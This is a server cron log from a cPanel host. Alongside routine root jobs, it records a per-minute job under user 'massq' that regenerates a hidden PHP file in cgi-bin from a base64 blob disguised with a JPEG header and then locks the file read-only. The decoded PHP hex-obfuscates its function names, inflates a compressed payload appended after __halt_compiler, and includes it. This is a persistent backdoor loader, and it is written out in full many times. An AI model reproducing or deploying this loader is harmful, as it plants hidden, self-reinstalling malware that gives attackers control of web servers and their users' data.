Sep  1 09:48:01 server CROND[7648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:49:01 server CROND[8037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:49:01 server CROND[8038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:49:01 server CROND[8039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:50:01 server CROND[8422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:50:01 server CROND[8424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:50:01 server CROND[8425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:50:01 server CROND[8428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:50:01 server CROND[8430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:50:01 server CROND[8426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:50:01 server CROND[8429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:50:01 server CROND[8427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:50:01 server CROND[8431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:51:01 server CROND[9300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:51:01 server CROND[9301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:51:01 server CROND[9302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:52:01 server CROND[9665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:52:01 server CROND[9666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:52:01 server CROND[9667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:53:01 server CROND[10143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:53:01 server CROND[10145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:53:01 server CROND[10144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:54:01 server CROND[10556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:54:01 server CROND[10557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:54:01 server CROND[10558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:55:01 server CROND[10947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:55:01 server CROND[10946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:55:01 server CROND[10950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:55:01 server CROND[10953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:55:01 server CROND[10951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:55:01 server CROND[10952]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:55:01 server CROND[10960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:56:01 server CROND[11786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:56:01 server CROND[11787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:56:01 server CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:57:01 server CROND[12176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:57:01 server CROND[12178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:57:01 server CROND[12179]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:57:01 server CROND[12177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:58:01 server CROND[12812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:58:01 server CROND[12813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:58:01 server CROND[12814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:59:01 server CROND[13543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:59:01 server CROND[13544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:59:01 server CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:00:01 server CROND[13962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:00:01 server CROND[13963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:00:01 server CROND[13965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:00:01 server CROND[13966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:00:01 server CROND[13964]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
